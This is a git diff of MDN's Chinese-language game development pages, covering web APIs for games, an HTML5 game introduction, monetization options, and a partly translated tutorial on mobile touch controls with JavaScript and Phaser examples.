针对游戏开发者的Web技术

+ +

技术同行们, 让我们发掘出所有关于Web的APIs,将它们呈现给所有的游戏开发者们。下面是一个比较完整的列表,可以一窥Web究竟能够做些什么:

+ +
+
+
Full Screen API
+
这个简单的API能够让你的游戏占据整个屏幕,从而使玩家沉浸在动作中
+
Gamepad API
+
如果你想你的用户能够使用游戏手柄或其他游戏控制器来控制游戏,你需要这个API
+
HTML and CSS
+
二者合璧,可以构建,设计并对你的游戏界面布局,HTML有一个提供2D图形的元素,即{{HTMLElement("canvas")}}
+
HTML audio
+
 {{HTMLElement("audio")}} 元素可以用来播放一些简单的音效和音乐。如果你想要更多的参与,可以学习Web Audio API 来深入了解音频处理的力量!
+
IndexedDB
+
一个强大的数据存储API,用来在电脑或者设备上保存用户自己的数据。一个很好的方法用来保存游戏的状态和其它最近的信息,这样在需要的时候不用每次重新下载。也可以用来让你的游戏即使用户没有链接到网络也能继续玩 (例如在飞机上的数小时)。
+
JavaScript
+
JavaScript是网络上使用的编程语言,在现代浏览器中正在快速发展,而且一直在快速发展。 使用它的力量为您的游戏编写代码,或者使用EmscriptenAsm.js等技术轻松移植您现有的游戏。
+
Pointer Lock API
+
指针锁定API允许您在游戏界面中锁定鼠标或其他指针设备,以便您不用绝对定位光标就可以获得坐标变化值,从而准确地判断用户正在做什么,并且还可以防止用户意外地进入另一块屏幕或别的什么地方,从而导致误操作。
+
SVG (可缩放矢量图形)
+
无论用户显示器的大小或分辨率如何,都可以构建平滑缩放的矢量图形。
+
Typed Arrays
+
JavaScript中的类型数组可以让您访问原始二进制数据;这使您可以操纵GL纹理,游戏数据或其他任何东西,即使它不是原生JavaScript数据格式。
+
Web Audio API
+
这个API用于控制JavaScript代码中的音频的回放,合成和处理,使您可以创建出色的音效,以及实时播放和操作音乐。
+
WebGL
+
允许您从Web内容创建高性能,硬件加速的3D(和2D)图形。 这是一个Web支持的OpenGL ES 2.0实现。
+
WebRTC
+
WebRTC(实时通信)API使您能够控制音频和视频数据,包括远程会议以及两个用户之间来回传输其他应用程序数据。 希望你的玩家能够在殴打怪物的同时互相交流? 这是你的API,快使用它吧。
+
WebSockets
+
WebSocket API使您可以将您的应用程序或站点连接到服务器,实时传输数据。 构建完美的多人游戏动作,聊天服务等必备。
+
Web Workers
+
Workers API 能够让您生成运行JavaScript代码的后台线程,以充分利用现代的多核CPU。
+
XMLHttpRequest 和 File API
+
XMLHttpRequest和File API的组合使您可以从Web服务器发送和接收任何类型的数据。比如下载新的游戏关卡,文件,以及传递非实时游戏状态信息等。
+
+
diff --git a/files/zh-cn/games/introduction_to_html5_game_development/index.html b/files/zh-cn/games/introduction_to_html5_game_development/index.html new file mode 100644 index 0000000000..6d5cd2014a --- /dev/null +++ b/files/zh-cn/games/introduction_to_html5_game_development/index.html @@ -0,0 +1,107 @@ +--- +title: HTML5游戏开发简介 +slug: Games/Introduction_to_HTML5_Game_Gevelopment_(summary) +tags: + - Games + - HTML5 +translation_of: Games/Introduction_to_HTML5_Game_Development_(summary) +--- +
{{GamesSidebar}}
{{IncludeSubnav("/zh-CN/docs/Games")}}
+ +
+

优点

+ +
    +
  1. 使用HTML5构建的游戏可以在智能手机,平板电脑,个人电脑和智能电视上工作。
  2. +
  3. 通过网络以及其他媒体广告宣传您的游戏。
  4. +
  5. 付款。收取你想要的,并使用任何你喜欢的付款处理服务。
  6. +
  7. 随时更新游戏。
  8. +
  9. 收集您自己的分析!
  10. +
  11. 更密切地与客户联系。
  12. +
  13. 玩家可随时随地玩游戏。
  14. +
+ +

网络技术

+
+ +
 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FunctionTechnology
AudioWeb Audio API
GraphicsWebGL (OpenGL ES 2.0)
InputTouch events, Gamepad API, device sensors, WebRTC, Full Screen API, Pointer Lock API
LanguageJavaScript (or C/C++ using Emscripten to compile to JavaScript)
NetworkingWebRTC and/or WebSockets
StorageIndexedDB or the "cloud"
WebHTML, CSS, SVG, Social API (and much more!)
+ +
+
+
Full Screen API
+
全屏游戏。
+
Gamepad API
+
使用游戏手柄或其他游戏控制器。
+
HTML and CSS
+
构建,样式和布局游戏的用户界面。
+
HTML audio
+
轻松播放简单的音效和音乐。
+
IndexedDB
+
将用户数据存储在他们自己的计算机或设备上。
+
JavaScript
+
快速的网页编程语言为您的游戏编写代码。轻松移植您现有的游戏 Emscripten 或 Asm.js
+
Pointer Lock API
+
在游戏界面中锁定鼠标或其他指针设备。
+
SVG (Scalable Vector Graphics)
+
构建能够顺利扩展的矢量图形,无论用户显示器的大小或分辨率如何。
+
Typed Arrays
+
从JavaScript中访问原始二进制数据; 操纵GL纹理,游戏数据或其他任何东西。
+
+ +

Web Audio API

+ +
+
实时控制音频的播放,合成和操纵。
+
WebGL
+
创建高性能,硬件加速的3D(和2D)图形。OpenGL ES 2.0.
+
WebRTC
+
实时通讯控制音频和视频数据,包括电话会议,并在两个用户之间来回传送其他应用数据,如聊天。
+
WebSockets
+
将您的应用程序或站点连接到一个服务器以实时传输数据。适合多人游戏动作,聊天服务等。
+
Web Workers
+
生成后台线程为多核处理器运行自己的JavaScript代码。
+
XMLHttpRequest and File API
+
从一个Web服务器发送和接收任何您想要的数据,如下载新的游戏级别和艺术品,以便来回传送非实时游戏状态信息。
+
+
+ +

 

diff --git a/files/zh-cn/games/introduction_to_html5_game_gevelopment_(summary)/index.html b/files/zh-cn/games/introduction_to_html5_game_gevelopment_(summary)/index.html deleted file mode 100644 index 6d5cd2014a..0000000000 --- a/files/zh-cn/games/introduction_to_html5_game_gevelopment_(summary)/index.html +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: HTML5游戏开发简介 -slug: Games/Introduction_to_HTML5_Game_Gevelopment_(summary) -tags: - - Games - - HTML5 -translation_of: Games/Introduction_to_HTML5_Game_Development_(summary) ---- -
{{GamesSidebar}}
{{IncludeSubnav("/zh-CN/docs/Games")}}
- -
-

优点

- -
    -
  1. 使用HTML5构建的游戏可以在智能手机,平板电脑,个人电脑和智能电视上工作。
  2. -
  3. 通过网络以及其他媒体广告宣传您的游戏。
  4. -
  5. 付款。收取你想要的,并使用任何你喜欢的付款处理服务。
  6. -
  7. 随时更新游戏。
  8. -
  9. 收集您自己的分析!
  10. -
  11. 更密切地与客户联系。
  12. -
  13. 玩家可随时随地玩游戏。
  14. -
- -

网络技术

-
- -
 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FunctionTechnology
AudioWeb Audio API
GraphicsWebGL (OpenGL ES 2.0)
InputTouch events, Gamepad API, device sensors, WebRTC, Full Screen API, Pointer Lock API
LanguageJavaScript (or C/C++ using Emscripten to compile to JavaScript)
NetworkingWebRTC and/or WebSockets
StorageIndexedDB or the "cloud"
WebHTML, CSS, SVG, Social API (and much more!)
- -
-
-
Full Screen API
-
全屏游戏。
-
Gamepad API
-
使用游戏手柄或其他游戏控制器。
-
HTML and CSS
-
构建,样式和布局游戏的用户界面。
-
HTML audio
-
轻松播放简单的音效和音乐。
-
IndexedDB
-
将用户数据存储在他们自己的计算机或设备上。
-
JavaScript
-
快速的网页编程语言为您的游戏编写代码。轻松移植您现有的游戏 Emscripten 或 Asm.js
-
Pointer Lock API
-
在游戏界面中锁定鼠标或其他指针设备。
-
SVG (Scalable Vector Graphics)
-
构建能够顺利扩展的矢量图形,无论用户显示器的大小或分辨率如何。
-
Typed Arrays
-
从JavaScript中访问原始二进制数据; 操纵GL纹理,游戏数据或其他任何东西。
-
- -

Web Audio API

- -
-
实时控制音频的播放,合成和操纵。
-
WebGL
-
创建高性能,硬件加速的3D(和2D)图形。OpenGL ES 2.0.
-
WebRTC
-
实时通讯控制音频和视频数据,包括电话会议,并在两个用户之间来回传送其他应用数据,如聊天。
-
WebSockets
-
将您的应用程序或站点连接到一个服务器以实时传输数据。适合多人游戏动作,聊天服务等。
-
Web Workers
-
生成后台线程为多核处理器运行自己的JavaScript代码。
-
XMLHttpRequest and File API
-
从一个Web服务器发送和接收任何您想要的数据,如下载新的游戏级别和艺术品,以便来回传送非实时游戏状态信息。
-
-
- -

 

diff --git a/files/zh-cn/games/publishing_games/game_monetization/index.html b/files/zh-cn/games/publishing_games/game_monetization/index.html new file mode 100644 index 0000000000..5ab915f6b3 --- /dev/null +++ b/files/zh-cn/games/publishing_games/game_monetization/index.html @@ -0,0 +1,95 @@ +--- +title: 游戏货币化 +slug: Games/Publishing_games/游戏货币化 +tags: + - 推广 + - 收入 + - 游戏 + - 销售 +translation_of: Games/Publishing_games/Game_monetization +--- +
{{GamesSidebar}}
+ +

当你花时间创造一个游戏的时候, 从发布促销中赚钱是你应该考虑的事. 如果你正做出大量努力去成为一个能够以此为生的独立游戏开发者, 接下去, 看看你有哪些选择. 技术手段已经足够成熟; 接下来只是选择正确的方法.

+ +

付费游戏

+ +

你可能想到的第一个,也是最明显的选择便是以面向AAA级游戏的方式销售游戏——即固定的预付款。即使数字市场是关键,你也不需要打印封面,也不需要将游戏放在实体店的盒子里,但要想以固定的价格销售游戏赚取可观的利润,你必须将时间和金钱投入到市场营销中去。只有最好的游戏才能做到收支平衡,或者赚得比制作成本还要多,你仍然需要很多的运气。

+ +

你为你的游戏收取多少费用取决于市场,游戏的质量和许多其他小因素。一款街机iOS游戏售价为0.99美元,但一款更长的rpg风格的Steam桌面游戏售价为20美元;两个价格都可以。你必须跟随市场,做自己的研究——迅速从错误中吸取教训是很重要的。

+ +

应用内购买内容

+ +

你可以提供一款带有应用内购买功能(IAP)的免费游戏,而不是让人们预先为你的游戏付费。在这种情况下,玩家不需要花一分钱就可以获得游戏——将游戏交给玩家,但要提供游戏内的货币、奖金或福利。具体的例子可以包括奖金水平,更好的武器或咒语,或补充所需的能量发挥。设计一个好的IAP系统本身就是一门艺术。

+ +

记住,你需要下载数千次游戏才能使IAPs有效——只有一小部分玩家会真正为IAPs付费。多小?情况各不相同,但大约每千人中就有一个人处于平均水平。玩你的游戏的人越多,别人就越有可能付钱,所以你的收入很大程度取决于你的推广方式.

+ +

免费增值模式

+ +

带有IAPs功能的游戏通常被称为免费增值游戏——免费增值游戏可以免费取得与游玩,但你可以为额外的(高级)功能、虚拟物品或其他好处付费。在大公司专注于创造游戏后,这个词本身就带有负面含义,其主要目的是为了从玩家那里获得尽可能多的钱,而不是提供一种有趣的体验。最糟糕的情况是,你可以用真金实银来获得相对于其他玩家的优势,或限制玩家进入游戏的下一阶段,除非玩家付费。“为赢付费”这个术语是被创造出来的,并且这种方法不受许多玩家和开发者的欢迎。如果你想要实现IAPs,那就试着用玩家喜欢的东西来为游戏增加价值,而不是把它拿出来然后收费。

+ +

扩展包(Add-on)和可下载内容(DLC)

+ +

扩展包和可下载内容是为已经发行的游戏提供额外价值的好方法,但请记住,您必须提供体面的、有趣的内容来吸引人们购买它。一套全新的带有新角色、武器和故事的关卡对于DLC来说是一个很好的素材,但要想获得足够的销量,游戏本身必须是受欢迎的,否则就不会有玩家愿意将他们辛苦赚来的钱花在这上面。

+ +

推广

+ +

除了积极销售游戏以外,你也可以尝试被动销售 — 投放广告和开展相关活动或许有益于推广你的游戏,但你的游戏必须让人上瘾,这并不像听起来那么容易。你仍然需要计划好,在某种程度上,你也需要一些运气。如果你的游戏像病毒一样传播开来,人们开始分享它,你就能从广告中获得大量的下载和收益。

+ +

有许多公司提供广告系统——你注册后,允许他们展示广告,以换取一定比例的利润。谷歌AdSense被认为是最有效的一个,但它不是为游戏而设计的,使用它来达到这个目的是一个非常糟糕的做法。不要冒着让你的账户被封禁,资产被冻结的风险,游戏开发者们更青睐门户网站,如LeadBolt。他们提供了易于实现的系统,以在您的游戏显示广告并与您分享收益。

+ +

视频广告正变得越来越受欢迎,特别是以预播放的形式——它们会在游戏开始时显示,而此时游戏还在加载中。至于在游戏中放置广告的位置,这完全取决于你自己。它应该尽可能的微妙,以避免过多地惹恼玩家,但又足够的可见性让玩家点击它或至少注意到它。通过屏幕在游戏会话之间添加广告是一种流行的方法。

+ +

授权证书

+ +

有一种方法可以作为自己的盈利模式,即出售游戏发行许可。越来越多的门户网站有兴趣在他们的网站上展示你的游戏。他们遵循各种策略来通过你的游戏赚钱,但你不必担心所有这些,因为出售许可通常是一次性的交易。你得到了钱,他们就可以创造性地使用你的游戏来赚钱。

+ +

一开始寻找发行商是件困难的事情 — 你可以在HTML5 Gamedevs forums联络他们.。如果你很有名,他们可能会联系你。大多数交易都是通过电子邮件与出版商一方的专业人士进行沟通的。一些出版商的网站很容易获得这些信息,而另一些则很难找到。当接触出版商的时候,尽量友好而直接——他们都是很忙的人。

+ +

独家许可

+ +

独家性许可是针对一个发行商的一种许可类型——你创造了一款游戏,并将其所有权利出售给了一个实体,同时还拥有重新发行该游戏的权利 — Softgames就是这样一家发行商。 在出版商拥有版权的情况下,你不能再以任何形式出售它——这就是独家交易价值不菲的原因。到底是多少?这取决于游戏的质量,游戏类型,发行商,以及其他许多因素,但通常价格在2000到5000美元之间。一旦你卖出了独家授权,你就不用再参与推广这款游戏了,因为你赚不到更多钱,所以只有在你确信这款游戏足够盈利的情况下,你才会参与这样的交易。

+ +

独家许可

+ +

这种方法不那么严格——您可以将许可证出售给多个发布者。这是最受欢迎的方法,因为对于每一个新的发行商(总会有的),你都可以以非独家的条款出售你的游戏。请记住,有了这个许可,发行商就不能再对其进行重新发行了——这通常被称为站点锁定交易,因为他们购买了在自己的门户网站上发布游戏的权利。非独家许可的通常成本约为500美元。

+ +

定期付费

+ +

此外,用户还可以通过购买服务来月付你的游戏而不是一次性付款,每一款游戏每月都能为你提供一定的钱——大约20-50美元。你可以决定是一次性付清一段时间还是每月付一次。记住它可以被随时取消,所以它不是一个通解。

+ +

推广收入

+ +

你可以在自己的游戏中发布广告,并试图找到流量来赚取一些钱,但你也可以与发行商达成收益分成协议。他们将负责吸引流量,并将分享收益——通常是每月73开或者五五开的交易。

+ +

请记住,许多新的、低质量的发行商会希望你的游戏获得广告收入而不是授权,因为这对他们来说更便宜,并且你可能只会在整个交易中获得每款游戏约2美元的收益。在与新出版商打交道时要小心——有时候,降低已知出版商的许可成本比冒着被未知出版商骗钱的风险要好。

+ +

发行商从你的游戏中获取收益分成,以及/或许可可能需要实现他们自己的API,这可能需要额外的工作,所以你也要考虑到这一点。

+ +

品牌

+ +

你可以出售你的游戏的品牌使用权,也可以用你自己的游戏来招揽其他人的品牌。在第一种情况下,它几乎类似于非独占许可,但是你的客户通常会购买代码的权限并构建自己的游戏。在第二种情况下,它就像一个自由的交易,但你将会在代码中加入客户的品牌图形,或有时会按照他们的指示实现需求。举个例子,如果你有一个游戏,玩家点击食物,你可以把食物换成客户的产品来给他们做广告。这个模型中的价格根据品牌、客户和工作量的不同而有很大的差异。

+ +

其他不以游戏为主题的变现手段

+ +

在开发HTML5游戏时,你还可以通过其他方式赚钱,而这甚至不需要与游戏相关。

+ +

销售资源

+ +

如果你是一名平面设计师,你可以出售你所创造的游戏的资产,或一些全新的专为这一目的的在线商店,如Envato Market. 虽然卖的钱并不多,但如果你是一个著名的设计师,它就是一个额外的被动收入流。

+ +

撰写文章和教程

+ +

你可以写一些关于你的游戏的文章,甚至可以从中获得报酬。可以同时取得游戏推广和收益化的双赢,如果你不滥用它与太多的广告,读者将享受阅读他们以及学习一两个东西。如果你专注于先分享知识,并将游戏作为例子来使用,这应该是可以的。 浏览Tuts+ Game Development 或相似的网站来找寻协作机会

+ +

周边商品

+ +

你可以售卖T恤,贴纸或其他周边 — 有些开发者从这些商品中赚的钱比从游戏本身中赚的钱还多,但它只适用于像愤怒的小鸟这样非常受欢迎且易于识别的游戏。不过,这也可能是另一种小的被动收入来源。你的收入越多样化,你的生意就越稳定。

+ +

捐助

+ +

当其他方法都失败时,你可以尝试在你的游戏页面上放置一个捐赠按钮并寻求社区的支持。有时候它是有效的,但前提是玩家了解你并觉得它能够帮助你。这就是为什么小心管理你的社区是如此重要。这在js13kGames比赛中很管用 — 每个参与者都得到了一件免费的t恤,有些人甚至还退了一些钱,以帮助它在未来几年继续运行下去。

+ +

小结

+ +

赚钱的方法有很多种——所有适用于“普通”AAA级游戏世界的东西,或多或少都可以应用于休闲HTML5游戏。然而,你也可以专注于销售许可证,做品牌,或者从广告中获得收入分成。你要走哪条路完全取决于你自己。

diff --git "a/files/zh-cn/games/publishing_games/\346\270\270\346\210\217\350\264\247\345\270\201\345\214\226/index.html" "b/files/zh-cn/games/publishing_games/\346\270\270\346\210\217\350\264\247\345\270\201\345\214\226/index.html" deleted file mode 100644 index 5ab915f6b3..0000000000 --- "a/files/zh-cn/games/publishing_games/\346\270\270\346\210\217\350\264\247\345\270\201\345\214\226/index.html" +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: 游戏货币化 -slug: Games/Publishing_games/游戏货币化 -tags: - - 推广 - - 收入 - - 游戏 - - 销售 -translation_of: Games/Publishing_games/Game_monetization ---- -
{{GamesSidebar}}
- -

当你花时间创造一个游戏的时候, 从发布促销中赚钱是你应该考虑的事. 如果你正做出大量努力去成为一个能够以此为生的独立游戏开发者, 接下去, 看看你有哪些选择. 技术手段已经足够成熟; 接下来只是选择正确的方法.

- -

付费游戏

- -

你可能想到的第一个,也是最明显的选择便是以面向AAA级游戏的方式销售游戏——即固定的预付款。即使数字市场是关键,你也不需要打印封面,也不需要将游戏放在实体店的盒子里,但要想以固定的价格销售游戏赚取可观的利润,你必须将时间和金钱投入到市场营销中去。只有最好的游戏才能做到收支平衡,或者赚得比制作成本还要多,你仍然需要很多的运气。

- -

你为你的游戏收取多少费用取决于市场,游戏的质量和许多其他小因素。一款街机iOS游戏售价为0.99美元,但一款更长的rpg风格的Steam桌面游戏售价为20美元;两个价格都可以。你必须跟随市场,做自己的研究——迅速从错误中吸取教训是很重要的。

- -

应用内购买内容

- -

你可以提供一款带有应用内购买功能(IAP)的免费游戏,而不是让人们预先为你的游戏付费。在这种情况下,玩家不需要花一分钱就可以获得游戏——将游戏交给玩家,但要提供游戏内的货币、奖金或福利。具体的例子可以包括奖金水平,更好的武器或咒语,或补充所需的能量发挥。设计一个好的IAP系统本身就是一门艺术。

- -

记住,你需要下载数千次游戏才能使IAPs有效——只有一小部分玩家会真正为IAPs付费。多小?情况各不相同,但大约每千人中就有一个人处于平均水平。玩你的游戏的人越多,别人就越有可能付钱,所以你的收入很大程度取决于你的推广方式.

- -

免费增值模式

- -

带有IAPs功能的游戏通常被称为免费增值游戏——免费增值游戏可以免费取得与游玩,但你可以为额外的(高级)功能、虚拟物品或其他好处付费。在大公司专注于创造游戏后,这个词本身就带有负面含义,其主要目的是为了从玩家那里获得尽可能多的钱,而不是提供一种有趣的体验。最糟糕的情况是,你可以用真金实银来获得相对于其他玩家的优势,或限制玩家进入游戏的下一阶段,除非玩家付费。“为赢付费”这个术语是被创造出来的,并且这种方法不受许多玩家和开发者的欢迎。如果你想要实现IAPs,那就试着用玩家喜欢的东西来为游戏增加价值,而不是把它拿出来然后收费。

- -

扩展包(Add-on)和可下载内容(DLC)

- -

扩展包和可下载内容是为已经发行的游戏提供额外价值的好方法,但请记住,您必须提供体面的、有趣的内容来吸引人们购买它。一套全新的带有新角色、武器和故事的关卡对于DLC来说是一个很好的素材,但要想获得足够的销量,游戏本身必须是受欢迎的,否则就不会有玩家愿意将他们辛苦赚来的钱花在这上面。

- -

推广

- -

除了积极销售游戏以外,你也可以尝试被动销售 — 投放广告和开展相关活动或许有益于推广你的游戏,但你的游戏必须让人上瘾,这并不像听起来那么容易。你仍然需要计划好,在某种程度上,你也需要一些运气。如果你的游戏像病毒一样传播开来,人们开始分享它,你就能从广告中获得大量的下载和收益。

- -

有许多公司提供广告系统——你注册后,允许他们展示广告,以换取一定比例的利润。谷歌AdSense被认为是最有效的一个,但它不是为游戏而设计的,使用它来达到这个目的是一个非常糟糕的做法。不要冒着让你的账户被封禁,资产被冻结的风险,游戏开发者们更青睐门户网站,如LeadBolt。他们提供了易于实现的系统,以在您的游戏显示广告并与您分享收益。

- -

视频广告正变得越来越受欢迎,特别是以预播放的形式——它们会在游戏开始时显示,而此时游戏还在加载中。至于在游戏中放置广告的位置,这完全取决于你自己。它应该尽可能的微妙,以避免过多地惹恼玩家,但又足够的可见性让玩家点击它或至少注意到它。通过屏幕在游戏会话之间添加广告是一种流行的方法。

- -

授权证书

- -

有一种方法可以作为自己的盈利模式,即出售游戏发行许可。越来越多的门户网站有兴趣在他们的网站上展示你的游戏。他们遵循各种策略来通过你的游戏赚钱,但你不必担心所有这些,因为出售许可通常是一次性的交易。你得到了钱,他们就可以创造性地使用你的游戏来赚钱。

- -

一开始寻找发行商是件困难的事情 — 你可以在HTML5 Gamedevs forums联络他们.。如果你很有名,他们可能会联系你。大多数交易都是通过电子邮件与出版商一方的专业人士进行沟通的。一些出版商的网站很容易获得这些信息,而另一些则很难找到。当接触出版商的时候,尽量友好而直接——他们都是很忙的人。

- -

独家许可

- -

独家性许可是针对一个发行商的一种许可类型——你创造了一款游戏,并将其所有权利出售给了一个实体,同时还拥有重新发行该游戏的权利 — Softgames就是这样一家发行商。 在出版商拥有版权的情况下,你不能再以任何形式出售它——这就是独家交易价值不菲的原因。到底是多少?这取决于游戏的质量,游戏类型,发行商,以及其他许多因素,但通常价格在2000到5000美元之间。一旦你卖出了独家授权,你就不用再参与推广这款游戏了,因为你赚不到更多钱,所以只有在你确信这款游戏足够盈利的情况下,你才会参与这样的交易。

- -

独家许可

- -

这种方法不那么严格——您可以将许可证出售给多个发布者。这是最受欢迎的方法,因为对于每一个新的发行商(总会有的),你都可以以非独家的条款出售你的游戏。请记住,有了这个许可,发行商就不能再对其进行重新发行了——这通常被称为站点锁定交易,因为他们购买了在自己的门户网站上发布游戏的权利。非独家许可的通常成本约为500美元。

- -

定期付费

- -

此外,用户还可以通过购买服务来月付你的游戏而不是一次性付款,每一款游戏每月都能为你提供一定的钱——大约20-50美元。你可以决定是一次性付清一段时间还是每月付一次。记住它可以被随时取消,所以它不是一个通解。

- -

推广收入

- -

你可以在自己的游戏中发布广告,并试图找到流量来赚取一些钱,但你也可以与发行商达成收益分成协议。他们将负责吸引流量,并将分享收益——通常是每月73开或者五五开的交易。

- -

请记住,许多新的、低质量的发行商会希望你的游戏获得广告收入而不是授权,因为这对他们来说更便宜,并且你可能只会在整个交易中获得每款游戏约2美元的收益。在与新出版商打交道时要小心——有时候,降低已知出版商的许可成本比冒着被未知出版商骗钱的风险要好。

- -

发行商从你的游戏中获取收益分成,以及/或许可可能需要实现他们自己的API,这可能需要额外的工作,所以你也要考虑到这一点。

- -

品牌

- -

你可以出售你的游戏的品牌使用权,也可以用你自己的游戏来招揽其他人的品牌。在第一种情况下,它几乎类似于非独占许可,但是你的客户通常会购买代码的权限并构建自己的游戏。在第二种情况下,它就像一个自由的交易,但你将会在代码中加入客户的品牌图形,或有时会按照他们的指示实现需求。举个例子,如果你有一个游戏,玩家点击食物,你可以把食物换成客户的产品来给他们做广告。这个模型中的价格根据品牌、客户和工作量的不同而有很大的差异。

- -

其他不以游戏为主题的变现手段

- -

在开发HTML5游戏时,你还可以通过其他方式赚钱,而这甚至不需要与游戏相关。

- -

销售资源

- -

如果你是一名平面设计师,你可以出售你所创造的游戏的资产,或一些全新的专为这一目的的在线商店,如Envato Market. 虽然卖的钱并不多,但如果你是一个著名的设计师,它就是一个额外的被动收入流。

- -

撰写文章和教程

- -

你可以写一些关于你的游戏的文章,甚至可以从中获得报酬。可以同时取得游戏推广和收益化的双赢,如果你不滥用它与太多的广告,读者将享受阅读他们以及学习一两个东西。如果你专注于先分享知识,并将游戏作为例子来使用,这应该是可以的。 浏览Tuts+ Game Development 或相似的网站来找寻协作机会

- -

周边商品

- -

你可以售卖T恤,贴纸或其他周边 — 有些开发者从这些商品中赚的钱比从游戏本身中赚的钱还多,但它只适用于像愤怒的小鸟这样非常受欢迎且易于识别的游戏。不过,这也可能是另一种小的被动收入来源。你的收入越多样化,你的生意就越稳定。

- -

捐助

- -

当其他方法都失败时,你可以尝试在你的游戏页面上放置一个捐赠按钮并寻求社区的支持。有时候它是有效的,但前提是玩家了解你并觉得它能够帮助你。这就是为什么小心管理你的社区是如此重要。这在js13kGames比赛中很管用 — 每个参与者都得到了一件免费的t恤,有些人甚至还退了一些钱,以帮助它在未来几年继续运行下去。

- -

小结

- -

赚钱的方法有很多种——所有适用于“普通”AAA级游戏世界的东西,或多或少都可以应用于休闲HTML5游戏。然而,你也可以专注于销售许可证,做品牌,或者从广告中获得收入分成。你要走哪条路完全取决于你自己。

diff --git a/files/zh-cn/games/techniques/control_mechanisms/mobile_touch/index.html b/files/zh-cn/games/techniques/control_mechanisms/mobile_touch/index.html new file mode 100644 index 0000000000..e9a9abaf15 --- /dev/null +++ b/files/zh-cn/games/techniques/control_mechanisms/mobile_touch/index.html @@ -0,0 +1,152 @@ +--- +title: 移动端触摸控制 +slug: Games/Techniques/Control_mechanisms/移动端触摸控制 +translation_of: Games/Techniques/Control_mechanisms/Mobile_touch +--- +
{{GamesSidebar}}
+ +

{{NextMenu("Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard", "Games/Techniques/Control_mechanisms")}}

+ +

未来手游一定是Web的天下,许多开发在游戏开发过程中首先选择手游 — 既然如此,触摸控制是不可少的。我们将在本教程中了解怎样简单地在移动端H5游戏中实现触摸控制 ,只要移动端支持触摸,你就可以尽情的玩。

+ +

说明:游戏 Captain Rogers: Battle at Andromeda 是基于Phaser 和Phaser-based管理控制,但它也可以用纯JavaScript实现。使用Phaser的好处它提供了辅助变量和方法可以直接调用,有助于快速的开发游戏,这需要根据项目实际情况选择。

+ +

纯 JavaScript 方式实现

+ +

我们可以实现自己的触摸事件 — 给document添加事件监听,并传入自定义功能的方法,非常简单:

+ +
var el = document.getElementsByTagName("canvas")[0];
+el.addEventListener("touchstart", handleStart);
+el.addEventListener("touchmove", handleMove);
+el.addEventListener("touchend", handleEnd);
+el.addEventListener("touchcancel", handleCancel);
+ +

这样, 在移动设备上屏幕上触摸游戏的 {{htmlelement("canvas")}} 将触发这些事件,因为我们就可以随意操控游戏(如:移动太空船)。 事件如下所示:

+ + + +
+

说明: 这篇 touch events 参考文章提供了更多的实例和介绍。

+
+ +

纯JavaScript示例

+ +

这个实现了移动端触摸的little demo代码已经放到了GibHub上,我们下载这个示例就可以实现在移动端屏幕上移动飞船。

+ +

我们将两种事件:touchstart touchmove 放到一个方法里处理. 为什么呢? touchHandler 方法定义的飞船位置变量适合下面两种情况下: 当玩家触摸时,但不移动它(touchstart)和当手指在屏幕上开始移动 (touchmove):

+ +
document.addEventListener("touchstart", touchHandler);
+document.addEventListener("touchmove", touchHandler);
+ +

touchHandler 方法的代码如下:

+ +
function touchHandler(e) {
+    if(e.touches) {
+        playerX = e.touches[0].pageX - canvas.offsetLeft - playerWidth / 2;
+        playerY = e.touches[0].pageY - canvas.offsetTop - playerHeight / 2;
+        output.innerHTML = "Touch: "+ " x: " + playerX + ", y: " + playerY;
+        e.preventDefault();
+    }
+}
+ +

If the touch occurs (touches object is not empty), then we will have all the info we need in that object. We can get the first touch (e.touches[0], our example is not multitouch-enabled), extract the pageX and pageY variables and set the player's ship position on the screen by subtracting the Canvas offset (distance from the Canvas and the edge of the screen) and half the player's width and height.

+ +

Touch controls for the player's ship, with visible output of the x and y position.

+ +

To see if it's working correctly we can output the x and y positions using the output element. The preventDefault() function is needed to prevent the browser from moving — without it you'd have the default behaviour, and the Canvas would be dragged around the page, which would show the browser scroll bars and look messy.

+ +

Touch events in Phaser

+ +

We don't have to do this on our own; frameworks like Phaser offer systems for managing touch events for us — see managing the touch events.

+ +

Pointer theory

+ +

A pointer represents a single finger on the touch screen. Phaser starts two pointers by default, so two fingers can perform an action at once. Captain Rogers is a simple game — it can be controlled by two fingers, the left one moving the ship and the right one controlling the ship's gun. There's no multitouch or gestures — everything is handled by single pointer inputs.

+ +

You can add more pointers to the game by using; this.game.input.addPointer up to ten pointers can be managed simultaneously. The most recently used pointer is available in the this.game.input.activePointer object — the most recent finger active on the screen.

+ +

If you need to access a specific pointer, they are all available at, this.game.input.pointer1this.game.input.pointer2, etc. They are assigned dynamically, so if you put three fingers on the screen, then, pointer1pointer2, and pointer3 will be active. Removing the second finger, for example, won't affect the other two, and setting it back again will use the first available property, so pointer2 will be used again.

+ +

You can quickly get the coordinates of the most recently active pointer via the this.game.input.x and this.game.input.y variables.

+ +

Input events

+ +

Instead of using the pointers directly it is also possible to listen for this.game.input events, like onDown, onUp, onTap and onHold:

+ +
this.game.input.onDown.add(itemTouched, this);
+
+function itemTouched(pointer) {
+    // do something
+}
+ +

The itemTouched() function will be executed when the onDown event is dispatched by touching the screen. The pointer variable will contain the information about the pointer that activated the event.

+ +

This approach uses the generally available this.game.input object, but you can also detect the actions on any game objects like sprites or buttons by using onInputOver, onInputOut, onInputDown, onInputUp, onDragStart, or onDragStop:

+ +
this.button.events.onInputOver.add(itemTouched, this);
+
+function itemTouched(button, pointer) {
+    // do something
+}
+ +

That way you'll be able to attach an event to any object in the game, like the player's ship, and react to the actions performed by the user.

+ +

An additional advantage of using Phaser is that the buttons you create will take any type of input, whether it's a touch on mobile or a click on desktop — the framework sorts this out in the background for you.

+ +

Implementation

+ +

The easiest way to add an interactive object that will listen for user input is to create a button:

+ +
var buttonEnclave = this.add.button(10, 10, 'logo-enclave', this.clickEnclave, this);
+ +

This one is formed in the MainMenu state — it will be placed ten pixels from the top left corner of the screen, use the logo-enclave image, and execute the clickEnclave() function when it is touched. This will work on mobile and desktop out of the box. There are a few buttons in the main menu, including the one that will start the game.

+ +

